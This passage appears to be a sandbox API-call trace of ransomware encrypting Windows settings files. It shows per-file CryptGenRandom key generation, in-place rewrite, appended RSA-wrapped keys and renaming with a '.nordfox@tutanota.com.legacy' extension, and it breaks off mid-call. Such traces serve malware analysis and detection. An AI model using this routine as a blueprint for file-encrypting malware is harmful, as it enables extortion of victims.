(lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAccountsSync.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageaccountssync.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAccountsSync.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageaccountssync.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.456] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.457] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.457] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAccountsPicture.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.457] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x43a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x43a, lpOverlapped=0x0) returned 1 [0199.458] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1082, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.458] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x43a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x43a, lpOverlapped=0x0) returned 1 [0199.458] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x43a [0199.458] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.507] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.508] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.517] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.526] CloseHandle (hObject=0x1c24) returned 1 [0199.533] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAccountsPicture.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageaccountspicture.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAccountsPicture.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageaccountspicture.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.553] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.553] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.553] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAccountsManage.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.554] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x435, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x435, lpOverlapped=0x0) returned 1 [0199.555] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1077, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.555] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x435, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x435, lpOverlapped=0x0) returned 1 [0199.555] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x435 [0199.555] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.555] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.556] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.556] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.556] CloseHandle (hObject=0x1c24) returned 1 [0199.556] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAccountsManage.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageaccountsmanage.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAccountsManage.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageaccountsmanage.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.558] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.558] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.558] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupYourAccount.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.559] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x461, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x461, lpOverlapped=0x0) returned 1 [0199.560] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1121, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.560] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x461, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x461, lpOverlapped=0x0) returned 1 [0199.560] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x461 [0199.560] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.560] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.560] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.561] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.561] CloseHandle (hObject=0x1c24) returned 1 [0199.561] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupYourAccount.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupyouraccount.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupYourAccount.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupyouraccount.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.563] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.563] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.563] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupVirtualDesktops.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.563] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x472, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x472, lpOverlapped=0x0) returned 1 [0199.564] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.564] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x472, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x472, lpOverlapped=0x0) returned 1 [0199.565] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x472 [0199.565] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.565] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.565] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.565] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.566] CloseHandle (hObject=0x1c24) returned 1 [0199.566] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupVirtualDesktops.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupvirtualdesktops.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupVirtualDesktops.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupvirtualdesktops.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.568] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.568] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0199.568] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupSpeechTextToSpeech.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.568] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x47b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x47b, lpOverlapped=0x0) returned 1 [0199.569] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1147, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.569] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x47b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x47b, lpOverlapped=0x0) returned 1 [0199.570] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x47b [0199.570] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.570] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.570] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.570] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.570] CloseHandle (hObject=0x1c24) returned 1 [0199.571] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupSpeechTextToSpeech.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupspeechtexttospeech.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupSpeechTextToSpeech.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupspeechtexttospeech.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.572] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0199.573] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.573] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupSpeechMicrophone.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.573] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x471, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x471, lpOverlapped=0x0) returned 1 [0199.574] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1137, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.574] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x471, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x471, lpOverlapped=0x0) returned 1 [0199.574] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x471 [0199.574] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.574] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.575] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.575] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.575] CloseHandle (hObject=0x1c24) returned 1 [0199.575] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupSpeechMicrophone.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupspeechmicrophone.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupSpeechMicrophone.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupspeechmicrophone.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.577] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.577] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.577] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupRegionDateTimeFormats.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.578] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x496, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x496, lpOverlapped=0x0) returned 1 [0199.579] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1174, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.579] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x496, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x496, lpOverlapped=0x0) returned 1 [0199.579] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x496 [0199.579] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.579] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.579] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.580] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.580] CloseHandle (hObject=0x1c24) returned 1 [0199.580] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupRegionDateTimeFormats.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupregiondatetimeformats.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupRegionDateTimeFormats.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupregiondatetimeformats.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.597] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0199.598] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0199.598] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPrivacyLocationHistory.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.598] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x498, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x498, lpOverlapped=0x0) returned 1 [0199.599] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1176, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.599] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x498, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x498, lpOverlapped=0x0) returned 1 [0199.600] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x498 [0199.600] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, 